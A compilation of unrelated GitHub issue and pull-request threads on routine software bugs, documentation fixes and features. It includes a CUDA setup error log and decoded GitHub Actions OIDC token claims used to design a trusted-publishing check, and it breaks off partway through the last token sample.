Cleanup String.format() usage

The poor performance of String.format() is brought up multiple times in different PR reviews (recently)
We should either move to to using + or StringBuilder instead of String.format() and cleanup the existing usage of String.format() with the decided option as well.
ref - https://www.baeldung.com/java-string-concatenation-methods

I think we should use string concatenation (+) by default and only using the other alternatives when there is an actual reason. For example, in loggers or guava preconditions using their own {} or %s will be better because it won't allocate the string in cases where the log is not generated or the precondition doesn't fail.

@gortiz @shounakmk219 I see that there are a lot of usages of format in ControllerRequestURLBuilder. Would it be advisable to replace these with concatenation? I see a lot of them could potentially make more sense as format uses (as it is slightly more readable)

as it is slightly more readable

I think that is very subjective. People coming from C background may find it more readable, but people coming from more modern languages where strings can be concatenated with + (Java, JavaScript, Go, Python, etc).
IMHO the only place use case format is acceptable is when we need to print in a formatted way. For example, when we need to print an in using exactly 8 characters (filling with spaces if necessary). In all other cases it is not easier to read.
In terms of performance it is always the worse alternative, given they are not optimized at compile time (like a macro in Rust would be).

That makes sense to me as well, just figured I'd check in with you before making that change. I've refactored a lot of usages in my PR. Let me know if anything looks off!


Spelling fixes

Please do not use a space before punctuation such as "," and ":", and do not use punctuation in window titles

QMake passed , and CMake failed because of my stupidity. So I think its good.


[Dark Mode] Git Page layout color issue

清Cache or 無痕模式會有
Firefox 一樣

Fixed in https://github.com/trendmicro-frontend/styled-ui/pull/27/files#diff-7b9a290e2714abbba72c0d5fe04f03b6 by removing height="100%" from Main.


use nullptr as bias_accessor in  CLFullyConnectedLayer

nullptr can be use as bias in FClayer according to header files.
...
@param[in] biases               Bias tensor. It can be nullptr. Data type supported:Same as @p input.
...
but create_fully_connected_layer() function in CLFunctionFactory.cpp,
LOG macro tries to get it's shape from nullptr.
i should be fixed something like this..
// Log info
...
if (biases != nullptr)
{
ss << " Biases Shape: " << biases->info()->tensor_shape();
}
Some layers might have similar problem.

Hello @neverdoubt,
True this is a bug and it has already been fixed internally.
Fix will be part of the next release which is due soon.


Error: Unable to resolve plugin Python 'SKOPOSSFTPDownload_v1.0\SKOPOSSFTPDownload_v1.0Engine.py'

Describe the bug
After the update of Alteryx to 2<IP_ADDRESS>061 (we came from a very old 2020 version), the skopos tool does not connect anymore. Initially it gave an error: 'You have found a bug'. After that, it gave the error Unable to resolve plugin Python 'SKOPOSSFTPDownload_v1.0\SKOPOSSFTPDownload_v1.0Engine.py'
To Reproduce
Steps to reproduce the behavior:

Create a new flow, add the SKOPOS tool, add credentials and try to run the flow.
=

Expected behavior
Expected behavior is to download files to a blob or generate a list of contents on the SFTP.
Screenshots

Desktop (please complete the following information):

Windows server
Alteryx designer x64 2<IP_ADDRESS>061 (we have a server license)
2<IP_ADDRESS>061

Hi @marcopeters-exsell ,
have you re-installed the tool after upgrading Alteryx with the latest yxi installer?
Best
Christopher

Hi @marcopeters-exsell ,
have you re-installed the tool after upgrading Alteryx with the latest yxi installer?
Best Christopher

We had the latest version installed. We have created or own python solution now.


Escape query keys

Encode the key in the query parameters, not only the value.
Without this fix, if the JSON key is app#&?app, the #&? characters break the query string.

This was discovered when testing https://github.com/Starcounter/level1/issues/4017#issuecomment-310460088
The keys _ver#s and _ver#c$ are considered by starcounter-include as namespaces and moreover they break the query string, because unescaped # has special meaning in web URLs.
This fix fixes the escaping part of the problem.

I tested locally and the test works. It breaks the Travis build, I think it's because of my Bower version selector ">=1.3.1 <2.0.0" is not parsed correctly by WCT. I will try a different syntax.

WCT hates me. @tomalec pls help. wct runs OK locally on my machine.

Travis updated, it occurred to be wct/polyserve & node version incompatibility.


Remove deprecated keyIdentifier checks

Closes #6
Fixes https://github.com/braintree/braintree-web/issues/198
Fixes https://github.com/braintree/braintree-web/issues/195
Changes
Removes deprecated keyIdentifier logic.
Manually tested in:

[x] OSX 10.11 Safari
[x] iOS 9.3.4 Safari
[x] OSX 10.11 Chrome
[x] OSX 10.11 Opera
[x] Windows 10 Chrome
[x] Windows 10 Opera
[x] Android 4.4 Chrome
[x] Android 4.4 Default Browser

Ran all unit and integration tests.

Does this change affect this library's browser support at all?

That's a good question. I'll double check Safari 8 real quick, but everything else should be accounted for with my manual testing.

👍 assuming browser support is good

Safari 8 works great.
IE and Firefox are not affected by this (as they never implemented keyIdentifier)


Examples per task

After reading this page, a user probably feels very exciting about what ML.NET can do. Can we have some links to some examples to help the user starting immediately? The current organization is good as a top-down doc but I'd like to have more connections between "down" sides to reduce to gap of using ML.NET.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: bd15175c-5b7d-4310-ecf5-32ffc7bc588b
Version Independent ID: 38adc676-934e-0ff9-c868-527f075c96df
Content: Machine learning tasks
Content Source: docs/machine-learning/resources/tasks.md
Product: dotnet-ml
GitHub Login: @JRAlexander
Microsoft Alias: johalex

Great idea! I've added it to the backlog and the  tracking project. Thanks!

Closing as I believe this has been resolved with the current api documentation.


Feat/text style customization

Allow client code to customize text style of the phone number input field

Hello @hbmartin
A potential usecase is changing font size, weight, family and other non-color related props of the text field. TBH, in my own code base I used it to increase font size of the phone number field because it was too small for my potential user

Does this potentially conflict with colors?

Partially yes, TextStyle affects text color, but only limited to the input text value, on the other hand, colors affects , according to documentation,

color of the text and content (including label, placeholder, leading and trailing icons, border)

Actually TextStyle.color always takes presedence over color property,
but in case the property color is defined only and no color property is set in TextStyle,
the standalone property color will take presedence.

> 2. Would it be useful to pass this style into the search field into `SearchTextField`?
Yes, I think so,

conflicts with other files in my other PRs?

Yes, becasue they all originate from the main brnach and there are some inter secting files like README, so I resolve conflicts of each PR separately after merging the previous ones.


Fixing the spelling of documetation to documentation

Is there an existing issue for this?

[X] I have searched the existing issues

Description
Minor spelling mistake
Record

[X] I have read the Contributing Guidelines
[X] I'm a GSSOC'24 contributor
[X] I have starred the repository

@HimanshuNarware assign kardo fir wishlist wala iske baad merge karuga

Please assign the task I would love to contribute to resolve the issue


Single Page Application

Currently on clicking the links the page refreshes and the application needs to fetch all the details again from the server. It would be good if this is to be converted into a single page application

Hey @avinashkranjan, @Utkarsh1999, @abhishek2x, I am a GSSOC 2021 participant. I would like to work on the issue.
Could you please update the issue with relevant tags and assign the same?

Hey @shaswata1029 , This is already been implemented by another PR.


List and Title

unify status,problem and contest list page except group

add title to page except group

group part will finish later

Brilliant!
The views are greatly improved.

comments fixed

Nice refactor!
Fine with this PR if comments fixed

It looks great! But.. did you forget to delete All Contest / My Contest tab?
+1 except for the tab

tab removed

latest code merged

+1


Update docs on ox_target regarding  zone options

Options are an a array of tables and not a table
Added suppressWarning to removezone export

Doing table[] is kind of pointless.

Indeed, reason why I thought it would be a good alteration was about all the support tickets that just put a table in the options and not an array of tables.
Also added the suppressWarnings arg to removeZone(id), thought it could be useful to add in. I'll let you decide if this isn't interesting or if there is no benefit in it I'll close it.


Error out if deleting env with children

Description
https://run-x.atlassian.net/browse/RUNX-426
Test plan

pytest
Try deleting aws/gcp env and services and make sure it works as expected

@NitinAgg is this going to cause issues in our CI?


[hi] Add content/hi/docs/setup/best-practices/_index.md

This PR is a part of ongoing hi localization effort here #29353
/language hi

anubha-v-ardhan

/assign anubha-v-ardhan

/lgtm from my end. Althought, I really think प्रथाएं would be a better word to describe practices than प्रचलन.

/lgtm from my end. Althought, I really think प्रथाएं would be a better word to describe practices than प्रचलन.

+1,
changed it to प्रथाएं :)

https://github.com/kubernetes/website/pull/29374#issuecomment-947681683 plus https://github.com/kubernetes/website/pull/29374/commits/82a0c677446b8a83a44073567e6a8b7d261d4e84 implies
/lgtm


Edit text for "delete asset" modal

Pull Request Description

Close https://github.com/enso-org/cloud-v2/issues/1626

Remove repetition of "are you sure"
Add clarification that hard delete from trash cannot be undone

Important Notes
None
Testing Instructions

Test all delete modals:

Delete from local backend
Delete folder from cloud backend
Delete from Trash in cloud backend

Checklist
Please ensure that the following checklist has been satisfied before submitting the PR:

[x] The documentation has been updated, if necessary.
[x] Screenshots/screencasts have been attached, if there are any visual changes. For interactive or animated visual changes, a screencast is preferred.
[x] All code follows the
Scala,
Java,
TypeScript,
and
Rust
style guides. In case you are using a language not listed above, follow the Rust style guide.
[x] Unit tests have been written where possible.
[x] If meaningful changes were made to logic or tests affecting Enso Cloud integration in the libraries,
or the Snowflake database integration, a run of the Extra Tests has been scheduled.~

If applicable, it is suggested to paste a link to a successful run of the Extra Tests.

@somebody1234  1. Clear trash button doesn't work anymore

@somebody1234 is it ready for QA? the clear trash button still doesn't work...

@PabloBuchu nice catch... thanks. should be fixed now


Pausing and resuming a rosbag cause the odometry to drift away

If you play a rosbag, pause it for a few seconds, then resume it, the robot pose will suddenly jump away, as if the robot had been moving during the pause.
Or at least it is the case with the feature/ros2 branch.

Most likely a misconfiguration on my side.

Please re-open issue -  I can confirm this (ROS1, MID-360) when temporary (3 secs) completely covering the LiDAR. The system cannot recover from this and 'oscillates away'...


Problem matching nested route (edge case)

This is kind of an edge case when it comes to nesting routers. However, in the case where .use('/', ...) is used as the route for some sub-router it doesn't handle trailing /s well as it does when the main router is not / but say /something.
let main = new Router()
let second = new Router()

second
  .get('/', ctrl)
  .get('/path', ctrl)

main.use('/', middleware, second.routes())

Expected
The above setup should match:
/ (through / + /)
/path (through / + /path)
Actual
/path does not match
//path matches
Reason
path-to-regexp doesn't clean up trailing /s so the resulting regexp starts with: \/\/ and that will not match /path.
Notes
It seems to only be an issue with (left) trailing /s
Had the main router been a non-empty path, e.g. /something then /path of the second router would match:
/ + /path fail
/ + path ok
/something + /path ok
/something + path not tested

I found the some problem. Function setprefix() in layer.js haven't replace '/' to '' as function prefix() in router.js do.
layer.js:
Layer.prototype.setPrefix = function (prefix) {
  if (this.path) {
    this.path = prefix + this.path;
    this.paramNames = [];
    this.regexp = pathToRegExp(this.path, this.paramNames, this.opts);
  }

  return this;
};

router.js:
Router.prototype.prefix = function (prefix) {
  prefix = prefix.replace(/\/$/, ''); // replace the '/'

  this.opts.prefix = prefix;
  this.stack.forEach(function (route) {
    route.setPrefix(prefix);
  });

  return this;
};

When we use router.use like this:
router_nested.get('/aaa', function(ctx, next){
  ctx.body = '/aaa'
})
router.use('/',router_nested.routes())
app.use(router.routes())

the stack.path become '//aaa'


Fixing small issues at ekf_att_pos_estimator

I found some small issues in the state estimator app which I have resolved. It is about three things:
lline 460: the for loop here is a duplicate of the previous for loop
line 777ff: according to comment and having a look at the units states 10-12 are delta angles  (in rad). if we want to add it to the angular rates (rad/sec) we have to divide it with dt
line 1059: Here I adapted the the comment such that it is more descriptive and is similar to previous states (delta angle)

Makes sense if those comments are correct. However that would mean that until now the output of the the estimator was way off. Did you plot the angular rates before and after the change?
Also I am confused about why we publish those values twice to the attitude topic. _att.rate_offsets[0 to 3] and _att.rollspeed/ pitchspeed/yawspeed ...

As the biases are very small you probably will not see a big change in the rates. However the bias is now much bigger (but still very small). Before this change we measured a bias of approx. 0.00002 rad (delta angle). If we divide it by dt we have 0.002 rad/sec.
About publishing twice. I think the reason why we publish the offset and the rates separately is that one can not only see the rates but also the offset itself for post analysis.

@sverling The argument makes perfect sense and your fix is certainly needed. However, do you have some logs showing that it effectively zeros the gyros? I just want to be sure its 100% correct now and not just improved.

We don't have such logs yet. We will do such an experiment as soon as possible.

Note that the rollspeed,  anglespeed and yawspeed are used by the multicopter land_detector module to detect if the vehicle has landed. The parameters might need to be updated for this correction as well (or else you might get false positives or false negative land detected)

Thanks!


libcublas.so.12: cannot open shared object file: No such file or directory

My environment is:
linux system：Ubuntu 18.04
cuda: 12.0
torch：1.13.1+cu116
bitsandbytes：0.38.1(compile from source)
Then the error is：
===================================BUG REPORT===================================
Welcome to bitsandbytes. For bug reports, please run

python -m bitsandbytes

 and submit this information together with your error trace to: https://github.com/TimDettmers/bitsandbytes/issues
================================================================================
bin /home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/libbitsandbytes_cuda120.so
/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/cuda_setup/main.py:145: UserWarning: /home/fangrui/miniconda3/envs/ziya did not contain ['libcudart.so', 'libcudart.so.11.0', 'libcudart.so.12.0'] as expected! Searching further paths...
  warn(msg)
/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/cuda_setup/main.py:145: UserWarning: WARNING: The following directories listed in your path were found to be non-existent: {PosixPath('/usr/local/cuda/lib')}
  warn(msg)
/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/cuda_setup/main.py:145: UserWarning: /usr/local/cuda/lib did not contain ['libcudart.so', 'libcudart.so.11.0', 'libcudart.so.12.0'] as expected! Searching further paths...
  warn(msg)
CUDA_SETUP: WARNING! libcudart.so not found in any environmental path. Searching in backup paths...
CUDA SETUP: CUDA runtime path found: /usr/local/cuda/lib64/libcudart.so
CUDA SETUP: Highest compute capability among GPUs detected: 8.6
CUDA SETUP: Detected CUDA version 120
CUDA SETUP: Loading binary /home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/libbitsandbytes_cuda120.so...
libcublas.so.12: cannot open shared object file: No such file or directory
CUDA SETUP: Something unexpected happened. Please compile from source:
git clone git@github.com:TimDettmers/bitsandbytes.git
cd bitsandbytes
CUDA_VERSION=120
python setup.py install
Traceback (most recent call last):
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/runpy.py", line 188, in _run_module_as_main
    mod_name, mod_spec, code = _get_module_details(mod_name, _Error)
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/runpy.py", line 147, in _get_module_details
    return _get_module_details(pkg_main_name, error)
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/runpy.py", line 111, in _get_module_details
    __import__(pkg_name)
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/__init__.py", line 6, in <module>
    from . import cuda_setup, utils, research
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/research/__init__.py", line 1, in <module>
    from . import nn
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/research/nn/__init__.py", line 1, in <module>
    from .modules import LinearFP8Mixed, LinearFP8Global
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/research/nn/modules.py", line 8, in <module>
    from bitsandbytes.optim import GlobalOptimManager
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/optim/__init__.py", line 6, in <module>
    from bitsandbytes.cextension import COMPILED_WITH_CUDA
  File "/home/fangrui/miniconda3/envs/ziya/lib/python3.9/site-packages/bitsandbytes-0.38.1-py3.9.egg/bitsandbytes/cextension.py", line 20, in <module>
    raise RuntimeError('''
RuntimeError:
        CUDA Setup failed despite GPU being available. Please run the following command to get more information:

        python -m bitsandbytes

        Inspect the output of the command and see if you can locate CUDA libraries. You might need to add them
        to your LD_LIBRARY_PATH. If you suspect a bug, please take the information from python -m bitsandbytes
        and open an issue at: https://github.com/TimDettmers/bitsandbytes/issues

How should I solve the issue?

The torch version (1.13.1+cu116) you are using is not compatible with CUDA 12. Maybe consider upgrading to a cu12 torch version. For now only an experimental version is available => 2.1.0.dev20230607+cu121 but check the [install matrix] https://pytorch.org/get-started/locally/) for updates.
Also, you might be missing CUDA toolkit => apt install nvidia-cuda-toolkit then install bitsandbytes from source

I have pytorch version 2.1.2+cu121 with CUDA version 12.2 and I'm getting the same issue (CUDA can be detected by pytorch)

@ruifengma just wondering - is this issue still live for you or could it be closed now?


Add data-test.sh

Description

Where should the reviewer start?

Motivation and context

Which issue it fixes?

How has this been tested?

One thing I am considering is to save the responses from ${HEALTHY_INSTANCE} to use them for comparison instead of re-querying for each server in test topology. Given a lot of servers though, the testing could take a while and responses could change over the course of the script runtime.

Make sure tests check offline data (asset registry cache / pool_offline_data).


Mobile - Set default pool for Avail

Describe the task

[x] Set "SubWallet Official 01" as the default pool for Avail
[x] Set validator as the default validator for Avail

Version test: v 1.1.71(411)
Device test: IP 11, S20 FE 5G
Validation passed.

Set "SubWallet Official 01" as the default pool for Avail
Set validator as the default validator for Avail: Auto select 16 validator

Auto-select SubWallet Stake
Status # Blocked
Commission < 100%


Feat:Compatible with Dify's External Knowledge API

What problem does this PR solve?
Briefly describe what this PR aims to solve. Include background context that will help reviewers understand the purpose of the PR.
Fixes #2731
Type of change

[x] New Feature (non-breaking change which adds functionality)

@Howe829 Hi, I just did a few tests of this retrieval api in dify and opened an issue here. It seems the type of metadata was wrongly written in dify's doc as string. Indeed, it should be a dict.
Could you please repair the code here ? I guess simply set metadict = {} is ok ?
https://github.com/langgenius/dify/issues/9448#issuecomment-2421234882

@Howe829 Hi, I just did a few tests of this retrieval api in dify and opened an issue here. It seems the type of metadata was wrongly written in dify's doc as string. Indeed, it should be a dict.
Could you please repair the code here ? I guess simply set metadict = {} is ok ?
langgenius/dify#9448 (comment)

Sorry for the bug.I am quit busy recently, so I have no time to deal with it. Thanks for your fix!

already solved in https://github.com/infiniflow/ragflow/pull/3076


feat(astro2): Fix base root when set with astro build --base flag/option

Hi @userquin,
Astro 2 has the configuration options site and base and can be set with the CLI flags --site and --base. The values set  by CLI flags overrides the ones set in astro.config.mjs.
Setting site and base you can deploy a GitHub Page like https://<username>.github.io/<repo>, but when build an Astro site with pnpm build --site http://localhost:3000 --base /astro-paper the generated sw.js has wrong index and 404 url:

With the changes suggested as workaround in the function createManifestTransform generates the expected urls in sw.js:

Another issue is the imported pwaInfo from virtual:pwa-info in the main layout, like in the example, is undefined and must set manually the manifest link in the html header. Maybe can be possible, when solve this issue, to generate the headers for document base and web app manifest in pwaInfo.webManifest.linkTag when appropiated, something like this:
    <link rel="manifest" href="/base/manifest.webmanifest" />
    <base href="/base/" />

Astro docs reference for base says You can access this value via import.meta.env.BASE_URL. Astro 2 build process seems be done in two steps. First step import.meta.env seem is filled with wrong values:

Second step, when generating the static routes, import.meta.env looks correct:

Maybe pwaInfo issue and import.meta.env behaivor are related.
I forked the AstroPaper blog theme and added my fork of @vite-pwa/astro plugin in my astropaper-pwa branch, but get this error when try to deploy, maybe is related to this pnpm issue. But works locally.

@carlesbarreda I guess this is also solved in #3

Finally I managed the error and deployed a working GitHub page example in carlesbarreda.github.io/astro-paper/
You can see in the log the wrong values in import.meta.env when start the astro 2 build process, PROD is true and MODE is development.
Then, when generate the static site, import.meta.env looks correct

@carlesbarreda I guess this is also solved in #3

Now I try to checkout the PR #3 and deploy the GitHub page.

@carlesbarreda I guess this is also solved in #3

Deployed a working version of feat-file-output in carlesbarreda.github.io/astro-paper/ and the build log.
I can continue working with PR #3 until the new release, I close this PR and remove the fork. If needed I can test the new changes.

@carlesbarreda released v0.0.2 (thx for the PR)

@carlesbarreda released v0.0.2 (thx for the PR)

Updated @vite-pwa/astro to ^0.0.2 and deployed without errors.
Now needs to found how to precache fonts with workbox.

@carlesbarreda check this for example: https://github.com/vite-pwa/vite-plugin-pwa/issues/473

@carlesbarreda check this for example: vite-pwa/vite-plugin-pwa#473

Thx @userquin, seems the integration of PWA plugin not impact on the performance

I get this warning when install the packages, but all is working correctly

@carlesbarreda thx, I forgot to update peer dependencies, I Will release a new version fixing it, maybe tmr

What pwa plugin version is shown when building the app?

What pwa plugin version is shown when building the app?

This is the last install, now need to clean few packages can be gone

I'll release a new version...

Released new v0.0.3, you only need to add @vite-pwa/astro, vite-plugin-pwa, workbox-build and workbox-window will be installed

Released new v0.0.3, you only need to add @vite-pwa/astro, vite-plugin-pwa, workbox-build and workbox-window will be installed

Removing vite-plugin-pwa and workbox-window the error goes gone.
I updated the package to 0.0.3 and is deployed and working.

@carlesbarreda thx for testing it, see you :wave:

@carlesbarreda thx for testing it, see you 👋

see you and have fun :+1:


Post deletion responses and errors

Post deletion is one of those things where you kinda really wanna know if it went through or not. Mastodon isn't the best about this but we can at least check for that empty-object-response or whatever.

This was sort of done by https://github.com/marrus-sh/laboratory/commit/4859a4b3aa9180222caf8df19fde78825e8f9261 and more extensive error documentation is low-priority enough I'm going to bump this back a milestone at least


Studio build

Issue #, if available:
Description of changes:
This change creates a new structure, sagemaker_studio_build_cli,  off of the aws_sagemaker_studio.  This new folder holds sample notebooks in support of the new sagemaker build CLI.

Please add a readme with usage instructions and info about what all of these files do.

Readme added - thanks!


something wrong when i use in "radio"

always get "true"

For some kind of a reason, checkboxes didn't worked for me too.

Thank you for report, will check asap.

@nickmessing Did you find anything?

I'm currently rewriting this plugin in nickmessing/jsx repo and it will attempt to mirror vue-template-compiler 1 on 1

@nickmessing Just curious what the state is right now for the rewrite, is there something we can test or do you need help in any way?


Possible correction

"Blazor implements .NET Standard 2.0. APIs that aren't applicable inside a web browser..."
I am not a native English speaker but don't you think that line is misleading ? shouldn't it be
"Blazor implements .NET Standard 2.0. APIs, except that aren't applicable inside a web browser" ?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 5bc28995-6784-a7d2-5c0b-9811a8d19c1a
Version Independent ID: 1668c8fb-024c-c86d-d4d5-e22e3355c04b
Content: Introduction to Blazor in ASP.NET Core
Content Source: aspnetcore/blazor/index.md
Product: aspnet-core
Technology: aspnetcore-blazor
GitHub Login: @guardrex
Microsoft Alias: riande

APIs that aren't applicable inside a web browser (for example, accessing the file system, opening a socket, and threading) throw a PlatformNotSupportedException.

Hello @funcubes ... The text is correct. "misleading" ... why do you think so?

What I'd like to do here is break the paragraph. It shifts focus when it stops describing the .NET Standard and starts describing APIs that aren't going to work client-side. That will fix this confusing language.


GitHub image preview adds an additional "exploregrid-item image m-3 float-left js-navigation-open" class inside the dropdown-menu "get-repo.modal" div class.

Hi!, I figured out the script adds an additional "exploregrid-item image m-3 float-left js-navigation-open" class inside the "Code" dropdown menu whenever I click on either the button "Show tiled files with image preview" or the button "Show full width files with image preview", so it mess up the dropdown-menu "Download zip" section.
Proof:

Could you fix this awful issue? 🤔

Hi @TheWAVs!
Thanks for reporting this problem. It's just been fixed. Please note that GreasyFork isn't updating the userscript as expected, so please install from here on GitHub or OpenUserJS. Thanks!


Add plugin function support to zipkin-tracer gem

Also add support for rspec and write some tests.

Do you guys think we could merge this branch?  I have some code based on this which allows the zipkin-tracer to use kafka.

LGTM, but I don't know ruby very well.  @jamescway have you reviewed this code?  Does it look good to you?

@mosesn yea LGTM :+1:

If you can rebase this, happy to help merge it in!

I'm going to try and get this merged, rebasing etc..

closed via 13391db08f0e8ae581dcb86b80a629da3716959c
Thanks for the great work here.


Samples of OIDC JWTs from GitHub

We need samples of each of the following:

A trusted user creating a workflow from a repo
A non-trusted user creating a workflow from a fork
Others?

I created a couple of these.
Separately, I confirmed that GitHub does allow multiple workflows to have the same name.
Here's a JWT from a CI workflow, running in a test environment (on main push`):
{
  "jti": "17dfb15e-10fa-4139-86c7-86b4d77e1243",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:environment:test",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/heads/main",
  "sha": "ff36d47d05072792d73ec3b521063e0d4efd6975",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1746933707",
  "run_number": "8",
  "run_attempt": "1",
  "actor": "woodruffw",
  "workflow": "CI",
  "head_ref": "",
  "base_ref": "",
  "event_name": "push",
  "ref_type": "branch",
  "environment": "test",
  "job_workflow_ref": "woodruffw/gha-oidc-jwt-test-repo/.github/workflows/ci.yml@refs/heads/main",
  "iss": "https://token.actions.githubusercontent.com",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

From a different CI workflow, not in the test environment:
{
  "jti": "abe5b71c-a5ce-4035-a758-982a592cc63a",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:ref:refs/heads/main",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/heads/main",
  "sha": "ff36d47d05072792d73ec3b521063e0d4efd6975",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1746933706",
  "run_number": "8",
  "run_attempt": "1",
  "actor": "woodruffw",
  "workflow": "CI",
  "head_ref": "",
  "base_ref": "",
  "event_name": "push",
  "ref_type": "branch",
  "job_workflow_ref": "woodruffw/gha-oidc-jwt-test-repo/.github/workflows/ci2.yml@refs/heads/main",
  "iss": "https://token.actions.githubusercontent.com",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

From a release workflow, no environment, running on matching tag (v*) push:
{
  "jti": "c81328ba-016d-4e74-aef5-a7af45faceef",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:ref:refs/tags/v0.0.2",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/tags/v0.0.2",
  "sha": "ff36d47d05072792d73ec3b521063e0d4efd6975",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1746934971",
  "run_number": "2",
  "run_attempt": "1",
  "actor": "woodruffw",
  "workflow": "release",
  "head_ref": "",
  "base_ref": "",
  "event_name": "push",
  "ref_type": "tag",
  "job_workflow_ref"<EMAIL_ADDRESS>  "iss": "https://token.actions.githubusercontent.com",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

Some observations:

Every JWT so far has a pretty short (15 minute) expiration. That's good, and it makes the problem of JWT reuse identified in #10644 less pressing.
The job_workflow_ref for the release treats the tag as the ref instead of main, so we can't treat that as a stable identifier.

More JWTs, from experimenting with @di:
PR merge (fork to upstream):
{
  "jti": "2c3820db-1103-4bcb-a4b3-59d1d45c582d",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:ref:refs/heads/main",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/heads/main",
  "sha": "738bfc299ee1f7383c3b673e2b3c490c024dce9d",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1747103237",
  "run_number": "13",
  "run_attempt": "1",
  "actor": "di",
  "workflow": "CI",
  "head_ref": "",
  "base_ref": "",
  "event_name": "push",
  "ref_type": "branch",
  "job_workflow_ref": "woodruffw/gha-oidc-jwt-test-repo/.github/workflows/ci2.yml@refs/heads/main",
  "iss": "https://token.actions.githubusercontent.com",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

Release cut by an authorized collaborator:
{
  "jti": "4b7a0501-5598-43b9-974b-85ad31419188",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:ref:refs/tags/v0.0.3",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/tags/v0.0.3",
  "sha": "738bfc299ee1f7383c3b673e2b3c490c024dce9d",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1747127980",
  "run_number": "3",
  "run_attempt": "1",
  "actor": "di",
  "workflow": "release",
  "head_ref": "",
  "base_ref": "",
  "event_name": "push",
  "ref_type": "tag",
  "job_workflow_ref"<EMAIL_ADDRESS>  "iss": "https://token.actions.githubusercontent.com",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

To summarize: we want the following third-party claims:

repository and repository_owner: to sanity-check against the trusted setup
job_workflow_ref: this will be matched against<EMAIL_ADDRESS>
And the following first-party claims:

jti: We'll use this as a JWT nonce
iss: We'll use this to sanity check the origin of the JWT
nbf and exp: We'll check the timeliness/expiredness of the JWT

Samples are listed above, so I'm closing this.

On @di's suggestion, I also tried to request two JWTs during the same task, and was able to confirm that GitHub mints unique JWTs with each request:
Token 1:
{
  "jti": "6fbebfe3-9eb4-4028-a592-5422768b53bc",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:environment:test",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/pull/4/merge",
  "sha": "796a6cfb48152b077701fced55d480bf1d90e1e2",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1959414638",
  "run_number": "15",
  "run_attempt": "1",
  "actor": "woodruffw",
  "workflow": "CI",
  "head_ref": "two-tokens",
  "base_ref": "main",
  "event_name": "pull_request",
  "ref_type": "branch",
  "environment": "test",
  "job_workflow_ref": "woodruffw/gha-oidc-jwt-test-repo/.github/workflows/ci.yml@refs/pull/4/merge",
  "iss": "https://token.actions.githubusercontent.com/",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

Token 2:
{
  "jti": "18e478d8-db96-4fe0-840a-6f5e963f54f9",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:environment:test",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/pull/4/merge",
  "sha": "796a6cfb48152b077701fced55d480bf1d90e1e2",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "run_id": "1959414638",
  "run_number": "15",
  "run_attempt": "1",
  "actor": "woodruffw",
  "workflow": "CI",
  "head_ref": "two-tokens",
  "base_ref": "main",
  "event_name": "pull_request",
  "ref_type": "branch",
  "environment": "test",
  "job_workflow_ref": "woodruffw/gha-oidc-jwt-test-repo/.github/workflows/ci.yml@refs/pull/4/merge",
